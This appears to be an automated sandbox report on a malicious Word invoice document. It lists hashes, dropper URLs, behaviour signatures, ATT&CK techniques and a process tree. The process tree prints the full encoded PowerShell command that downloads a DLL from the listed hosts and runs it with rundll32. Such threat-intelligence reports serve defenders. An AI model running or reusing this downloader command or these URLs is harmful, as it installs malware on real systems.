e67a24ae89683460405b6f1ecbac115fc549588234ccf8fcc34a174e9b179502

General

Target

E4_INV_pd0622463.doc
Size

206KB
MD5

99a96323e20fc70cef855547068e34ba
SHA1

98d4e8a4dacc02e9a64afbcc638631894f97dfaa
SHA256

e67a24ae89683460405b6f1ecbac115fc549588234ccf8fcc34a174e9b179502
SHA512

5eaa28a4ab909ae3816afc43f68a28891d460ae1db184955b157767e8029f3d34178e8a2721d0e89ed52e79540043fa5ec87773a38e19a3c7e8635f84392521c
SSDEEP

1536:3QBLceqLDr80L1lKugpEWoKtMH1Ky2ccCEIOVFzwquIi0OymgBGvhY61LqB8T6IJ:ABLcXHr80sM7AI0OquZSm5vhYBjIGYD

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gamaes.shop/wp-content/plugins/sSTToaEwCG5VASw/

exe.dropper

http://newsaarctech.com/wp-content/Sx9tvV5/

exe.dropper

http://www.fizik.tv.tr/ex/mlFHNKb9x/

exe.dropper

https://shopallcars.com/node_modules/dXF0W/

exe.dropper

https://infohybrid.com/assets/Lq5vllPN/

exe.dropper

http://fse.in.ua/layouts/WMIxdId0bHiS/GnfihOVGqjmsWPJg4/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2628	2176	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

63 4292 powershell.exe

flow	pid	process
63	4292	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2176 WINWORD.EXE
2176 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4292 powershell.exe
4292 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4292 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2176 WINWORD.EXE
2176 WINWORD.EXE
2176 WINWORD.EXE
2176 WINWORD.EXE
2176 WINWORD.EXE
2176 WINWORD.EXE
2176 WINWORD.EXE

pid	process
2176	WINWORD.EXE
2176	WINWORD.EXE

pid	process
4292	powershell.exe
4292	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4292	powershell.exe

pid	process
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 2176 wrote to memory of 2628	2176	WINWORD.EXE	cmd.exe
PID 2176 wrote to memory of 2628	2176	WINWORD.EXE	cmd.exe
PID 2628 wrote to memory of 4292	2628	cmd.exe	powershell.exe
PID 2628 wrote to memory of 4292	2628	cmd.exe	powershell.exe
PID 4292 wrote to memory of 772	4292	powershell.exe	rundll32.exe
PID 4292 wrote to memory of 772	4292	powershell.exe	rundll32.exe
PID 4292 wrote to memory of 772	4292	powershell.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E4_INV_pd0622463.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c c:\programdata\uwdhx.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc JABzAHQAcgBzAD0AIgBoAHQAdABwADoALwAvAGcAYQBtAGEAZQBzAC4AcwBoAG8AcAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AcwBTAFQAVABvAGEARQB3AEMARwA1AFYAQQBTAHcALwAsAGgAdAB0AHAAOgAvAC8AbgBlAHcAcwBhAGEAcgBjAHQAZQBjAGgALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBTAHgAOQB0AHYAVgA1AC8ALABoAHQAdABwADoALwAvAHcAdwB3AC4AZgBpAHoAaQBrAC4AdAB2AC4AdAByAC8AZQB4AC8AbQBsAEYASABOAEsAYgA5AHgALwAsAGgAdAB0AHAAcwA6AC8ALwBzAGgAbwBwAGEAbABsAGMAYQByAHMALgBjAG8AbQAvAG4AbwBkAGUAXwBtAG8AZAB1AGwAZQBzAC8AZABYAEYAMABXAC8ALABoAHQAdABwAHMAOgAvAC8AaQBuAGYAbwBoAHkAYgByAGkAZAAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBMAHEANQB2AGwAbABQAE4ALwAsAGgAdAB0AHAAOgAvAC8AZgBzAGUALgBpAG4ALgB1AGEALwBsAGEAeQBvAHUAdABzAC8AVwBNAEkAeABkAEkAZAAwAGIASABpAFMALwBHAG4AZgBpAGgATwBWAEcAcQBqAG0AcwBXAFAASgBnADQALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcwB0AHIAcwApAHsAJAByADEAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJAByADIAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAHQAcAB0AGgAPQAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACIAKwAkAHIAMQArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJAB0AHAAdABoADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHQAcAB0AGgAKQB7ACQAZgBwAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAVwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAYQA9ACQAdABwAHQAaAArACIALABmACIAKwAkAHIAMgA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGYAcAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAOwBiAHIAZQBhAGsAOwB9AH0A
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\SysWow64\rundll32.exe
"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1011482685.dll,f1892259461
4⤵
PID:772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\1011482685.dll
Filesize
15KB

MD5
48aceb74013851ac10b19eabd7a07c5b

SHA1
cca7ab93d829231e44ab9e10a4d0a97dd8cef045

SHA256
08e952ecaf0e9ac04e3c88207722089a95c6cddebe4767d10601ec13959a98ff

SHA512
6074c2edfda870e183a9b58ebb020d12c48b0841429b51d72e0ae34f3e106a40247e807d0cc5ff5130494bc4b6c2a583a5ba538222c251d1c53cfa03410e51a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stfj3z4m.zht.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
\??\c:\programdata\uwdhx.bat
Filesize
2KB

MD5
e5b8975e992ef3e26493d8db3d022ad9

SHA1
e514c0757b99b9a81ffe337289adeda62fb4e4c2

SHA256
3dfbbf218112c000fa30ad568dd2a0d3884392c4019a61791fbb17405f8e4517

SHA512
fed805b656acadae86e59a2c4900ddee528cd2d5b857599760c93f99f79170cd24cee98543a85777a562dade32a6bcc8b0e4d2eed6476ea7f297b0fa932c0a93

Download Submit
memory/2176-190-0x0000024293700000-0x0000024293900000-memory.dmp

Filesize
2.0MB

Download
memory/2176-135-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-139-0x00007FF8525C0000-0x00007FF8525D0000-memory.dmp

Filesize
64KB

Download
memory/2176-137-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-133-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-136-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-134-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-138-0x00007FF8525C0000-0x00007FF8525D0000-memory.dmp

Filesize
64KB

Download
memory/2176-223-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-220-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-221-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/2176-222-0x00007FF854E10000-0x00007FF854E20000-memory.dmp

Filesize
64KB

Download
memory/4292-216-0x0000020470200000-0x0000020470222000-memory.dmp

Filesize
136KB

Download
memory/4292-206-0x000002046FFC0000-0x000002046FFD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads